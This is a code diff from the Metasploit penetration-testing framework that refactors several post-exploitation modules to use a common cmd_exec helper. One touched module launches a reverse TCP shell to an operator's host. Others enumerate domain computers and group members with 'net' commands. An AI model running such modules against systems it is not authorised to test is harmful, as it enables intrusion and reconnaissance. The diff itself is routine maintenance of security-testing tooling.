Land #5629, moar cmd_exec refactoring
commit
399b3d2810
|
@ -122,7 +122,11 @@ module Msf::Post::Common
|
|||
|
||||
process.close
|
||||
when /shell/
|
||||
if args.nil? || args.empty?
|
||||
o = session.shell_command_token("#{cmd}", time_out)
|
||||
else
|
||||
o = session.shell_command_token("#{cmd} #{args}", time_out)
|
||||
end
|
||||
o.chomp! if o
|
||||
end
|
||||
return "" if o.nil?
|
||||
|
|
|
@ -170,7 +170,7 @@ protected
|
|||
elsif view == REGISTRY_VIEW_64_BIT
|
||||
cmd += " /reg:64"
|
||||
end
|
||||
session.shell_command_token_win32("#{cmd} #{suffix}")
|
||||
cmd_exec("#{cmd} #{suffix}")
|
||||
end
|
||||
|
||||
def shell_registry_cmd_result(suffix, view = REGISTRY_VIEW_NATIVE)
|
||||
|
|
|
@ -16,7 +16,7 @@ class Metasploit3 < Msf::Post
|
|||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
|
||||
'Platform' => %w{ bsd linux osx unix win },
|
||||
'SessionTypes' => [ 'meterpreter','shell' ]
|
||||
'SessionTypes' => ['meterpreter']
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
|
@ -27,7 +27,6 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
# Run Method for when run command is issued
|
||||
def run
|
||||
session_type = session.type
|
||||
print_status("Running module against #{sysinfo['Computer']}")
|
||||
if not ::File.exists?(datastore['RESOURCE'])
|
||||
raise "Resource File does not exists!"
|
||||
|
@ -41,11 +40,7 @@ class Metasploit3 < Msf::Post
|
|||
tmpout << " Output of #{cmd}\n"
|
||||
tmpout << "*****************************************\n"
|
||||
print_status "Running command #{cmd.chomp}"
|
||||
if session_type =~ /meterpreter/
|
||||
tmpout << cmd_exec(cmd.chomp)
|
||||
elsif session_type =~ /shell/
|
||||
tmpout << session.shell_command_token(cmd.chomp).chomp
|
||||
end
|
||||
vprint_status tmpout
|
||||
command_log = store_loot("host.command", "text/plain", session,tmpout ,
|
||||
"#{cmd.gsub(/\.|\/|\s/,"_")}.txt", "Command Output \'#{cmd.chomp}\'")
|
||||
|
|
|
@ -196,12 +196,12 @@ class Metasploit3 < Msf::Post
|
|||
sent = 0
|
||||
aborted = false
|
||||
cmds.each { |cmd|
|
||||
ret = session.shell_command_token(cmd)
|
||||
ret = cmd_exec(cmd)
|
||||
if !ret
|
||||
aborted = true
|
||||
else
|
||||
ret.strip!
|
||||
aborted = true if !ret.empty?
|
||||
aborted = true if !ret.empty? && ret !~ /The process tried to write to a nonexistent pipe./
|
||||
end
|
||||
if aborted
|
||||
print_error('Error: Unable to execute the following command: ' + cmd.inspect)
|
||||
|
|
|
@ -59,7 +59,7 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
if not cmd.empty?
|
||||
print_status("Executing reverse tcp shel to #{lhost} on port #{lport}")
|
||||
session.shell_command_token("(#{cmd} &)")
|
||||
cmd_exec("(#{cmd} &)")
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -29,7 +29,6 @@ class Metasploit3 < Msf::Post
|
|||
def run
|
||||
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
|
||||
domain = get_domain()
|
||||
|
||||
if not domain.empty?
|
||||
hostname_list = get_domain_computers()
|
||||
list_computers(domain, hostname_list)
|
||||
|
@ -49,7 +48,7 @@ class Metasploit3 < Msf::Post
|
|||
def get_domain_computers()
|
||||
computer_list = []
|
||||
devisor = "-------------------------------------------------------------------------------\r\n"
|
||||
raw_list = client.shell_command_token("net view").split(devisor)[1]
|
||||
raw_list = cmd_exec('net view').split(devisor)[1]
|
||||
if raw_list =~ /The command completed successfully/
|
||||
raw_list.sub!(/The command completed successfully\./,'')
|
||||
raw_list.gsub!(/\\\\/,'')
|
||||
|
|
|
@ -58,7 +58,7 @@ class Metasploit3 < Msf::Post
|
|||
# List local group members
|
||||
def list_group_mem(group)
|
||||
devisor = "-------------------------------------------------------------------------------\r\n"
|
||||
raw_list = client.shell_command_token("net localgroup #{group}").split(devisor)[1]
|
||||
raw_list = cmd_exec("net localgroup #{group}").split(devisor)[1]
|
||||
account_list = raw_list.split("\r\n")
|
||||
account_list.delete("The command completed successfully.")
|
||||
return account_list
|
||||
|
@ -68,7 +68,7 @@ class Metasploit3 < Msf::Post
|
|||
def list_domain_group_mem(group)
|
||||
account_list = []
|
||||
devisor = "-------------------------------------------------------------------------------\r\n"
|
||||
raw_list = client.shell_command_token("net groups \"#{group}\" /domain").split(devisor)[1]
|
||||
raw_list = cmd_exec("net groups \"#{group}\" /domain").split(devisor)[1]
|
||||
raw_list.split(" ").each do |m|
|
||||
account_list << m
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue